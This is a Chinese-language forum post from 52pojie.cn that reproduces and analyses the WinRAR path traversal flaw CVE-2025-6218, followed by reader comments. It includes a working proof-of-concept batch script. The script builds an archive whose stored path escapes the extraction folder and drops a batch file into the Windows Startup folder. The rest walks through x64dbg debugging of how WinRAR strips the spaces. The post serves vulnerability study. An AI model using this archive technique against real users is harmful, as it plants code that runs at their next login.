吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5555|回复: 49
收起左侧

[漏洞分析] WinRAR之CVE-2025-6218漏洞复现与分析

  [复制链接]
HackerWen 发表于 2025-9-4 13:13

1、背景

在刷B站时看到有人在分享这个漏洞的原因,稍微琢磨了一下,脑袋告诉我:懂了,原来如此。但up主最后只给出了x64dbg中判断字符是否是空格的地方,没有给出定位过程,所以当时就来了兴趣,想自己分析分析。

2、漏洞复现

话不多说,直接复现。
下载7.11版本,安装到默认目录:
1_AgAABTMkRx5FsqtBexNFD72EZC3UV5yN.png

在桌面新建CVE-2025-6218.bat,内容如下:

@echo offtitle CVE-2025-6218 POC
echo calc.exe > POC.bat
"C:\Program Files\WinRAR\WinRAR.exe" a -ap" \.. \.. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"  CVE-2025-6218.zip POC.bat
echo.if errorlevel 1 (    echo [!] Failed to create POC.) else (    echo [+] CVE-2025-6218.zip created successfully!)echo.
del POC.bat
pause

注意第3行的..后面有空格。
第3行的命令的意思是:
生成CVE-2025-6218.zip压缩包文件,并将POC.bat添加到进去,同时指明了POC.bat在压缩包里的路径,长这样:
2_AgAABTMkRx4wfEayGi9GEr_NHwALF-_F.png

执行CVE-2025-6218.bat:
3_AgAABTMkRx52kj5MpZhDF5VB725IzGps.png
会在桌面生成CVE-2025-6218.zip压缩包,右键解压到CVE-2025-6218,即意思是想在桌面生成CVE-2025-6218文件夹,但是结果却把POC.bat写入到了启动目录了:
4_gif.gif
再解压一遍,发生覆盖提示:
5_AgAABTMkRx5HxKe_wDNHyZJrbj_KSil-.png
从给出的提示来看,路径里面的..后面没有空格了,路径也拼接好了,倒退两层就会变成:

C:\Users\Win10.1809x64\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\POC.bat

之所以会解压到启动目录,是这样的:
右键解压到CVE-2025-6218,目标目录就是:

C:\Users\Win10.1809x64\Desktop\CVE-2025-6218

但是压缩时指定了路径:

\\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\POC.bat

所以两者拼接起来就是启动目录了。

从复现结果和覆盖提示能看出WinRAR拼接了路径,消除了空格,但是我不满足于此,想知道是在哪儿用什么方式处理的?是用strcpy还是memcpy、memmove?即我既想知道结果,也想知道过程。而网上的都是复现文章,没有过程分析文章,所以还是自食其力分析一下。

3、过程分析

用ProcMon监控WinRAR.exe的文件行为,发现会往启动目录创建POC.bat文件,所以x64dbg拖入WinRAR.exe,对CreateFileW函数下断。(猜也猜得到是创建文件,所以可以不用ProcMon)
先取消CreateFileW断点(因为会频繁断下),运行起来,选中压缩包,进行解压:
6_AgAABTMkRx7kVa-O6ZhDg69VDLdxNpZh.png

出现下图覆盖提示界面时,这个时候启用断点,然后确认覆盖,就会断在我们想要的地方:
7_AgAABTMkRx7sThpPJu1KdLhAEWzwyKXJ.png

断下后,Ctrl+F9返回到上层,返回个两三次,就会来到下图的地方。全局变量0x00007FF6526F0F08里存放的就是目标路径字符串指针,而且目标字符串是拼接完成状态,而且其中的空格也被消除了:
8_AgAABTMkRx6V_RBWUUFNcpPvJ_lHjKLO.png

再次解压,但不要进入覆盖提示界面(因为覆盖提示界面弹出时,已经把空格处理了,然后将处理好的路径展示给我们)。这个时候可以看到,全局变量里清0了,也就是说目标字符串指针还未写入:
9_AgAABTMkRx4rEbReNYJOWq1DYLHNvljk.png
对全局变量地址下硬件写入断点,然后点上图的【确定】按钮,中断后一直点运行,观察内存窗口,某一次就发现有字符串指针写入了,而且空格没有被处理,路径也还没拼接:
10_AgAABTMkRx52KE8vO_xJequWXopFCIlU.png

这个时候一直F8单步,运行到下图时,在读取全局指针变量了,应该要准备读取字符串进行处理了:
11_AgAABTMkRx7veta_EIFG2K1rvatsHBc9.png
再继续单步,就会来到一个循环。
这里我跟了一下,循环会执行两轮,两轮后,字符串中的空格才会被处理,录制动图如下,一直按F9,两轮循环后,字符串中的空格被处理了,并且生成了最终的文件路径:
12_gif (2).gif

所以在第二轮循环快结束时,单步跟踪到这里,是这个call进行字符串处理:
13_gif.gif

那就跟进去看看,一直单步,遇到哪个call处理了路径,就进入。在下图会有一个循环,逐字符判断,关注对空格的判断即可:
14_AgAABTMkRx4kbgdgVbVBd4SekiEfk2RS.png

如果是空格的话,就会调用call 0x00007FF65248A430进行处理:
15_gif.gif

看看里面是怎么处理的:
16_AgAABTMkRx6ZqyMqdAVMHYzldOu7aK4h.png
先是得到空格所在索引,通过索引截取到子字符串,地址赋值给RCX(开头是空格字符)。
然后子字符串偏移一个字符,即略过空格,地址赋值给RDX(开头是非空格字符)

继续单步到下图,关注框住的两行代码即可。
第一行:vmovdqu ymm1,yword ptr ds:[rdx+r9-A0],就是从RDX指向的字符串中读取32个字节,赋值给ymm1。
第二行:vmovdqu yword ptr ds:[rcx+r9-A0],ymm1,就是将读取的32个字节写入到RCX指向的地址中。
17_AgAABTMkRx6Yyq4XL_xIbK5xejY975eA.png
问了下AI,这是一组AVX(高级矢量扩展)指令集,进行数据移动,每次可移动32个字节。
分析到这里其实就清楚了,本质就是RCX指向的字符串,第一个字符是空格,而RDX经过加1处理,就绕过了空格,最后使用AVX指令,从RDX指向的字符串中读取32个字节,往RCX指向的地址进行写入,如此便把空格给消除了。简而言之就是往前移动数据。

备注:其实,当字符串拼接好但还未处理空格时,对字符串地址下硬件写入断点,可以更快到达上图的代码。不过本次分析我的目的是重在了解细节。分析修复版本的WinRAR时也可以这样操作。

4、参考

漏洞复现参考:https://cloud.tencent.com/developer/article/2544152

免费评分

参与人数 17威望 +2 吾爱币 +116 热心值 +14 收起 理由
szyuhong + 1 + 1 热心回复!
lynxtang + 1 + 1 热心回复!
shengyu30 + 1 我很赞同!
ynL7 + 1 已经处理,感谢您对吾爱破解论坛的支持!
fakerx + 1 + 1 谢谢@Thanks!
FZZZP + 1 + 1 谢谢@Thanks!
小小莱 + 1 + 1 谢谢@Thanks!
fengbolee + 2 + 1 用心讨论,共获提升!
fiscivaj + 1 谢谢@Thanks!
金金相印 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
dakele111 + 1 + 1 好一个路径穿越漏洞
tzxinqing + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
langzqf + 1 热心回复!
warobot + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
zzmaster + 1 + 1 用心讨论,共获提升!
gunxsword + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

tydzjing 发表于 2025-9-11 13:25
我一般都是图形界面下添加解压操作,这种完全命令行的操作平时很少用到,对我这样的用户来说,这个漏洞也不影响使用
fxinyi 发表于 2025-9-15 17:48
感觉越来越不安全了啊,  总有一种再小心也会不知道什么时候就中招的感觉,新版本已经解决这个问题了吗?
nonfree 发表于 2025-9-4 13:21
devSteven 发表于 2025-9-4 13:54
nonfree 发表于 2025-9-4 13:21
意思是官方版本有问题 你修复了?

复现了问题
gzsklsskszngc 发表于 2025-9-4 14:46
要是能破了它的加密那就厉害了
wingkwong 发表于 2025-9-4 14:51
学习了
好好看看
jinbei 发表于 2025-9-4 15:13
看不懂,只要有大佬破解能用就行了
我懂 发表于 2025-9-4 15:26
感谢分享,学习了
yedada1314 发表于 2025-9-4 15:33

感谢分享,学习了
xinqinghao 发表于 2025-9-4 15:41
学习了,能搞定密码最好了
diffxu 发表于 2025-9-4 16:03
牛逼,这就是大拿吗,泰裤辣!!!!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-4-15 08:42

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表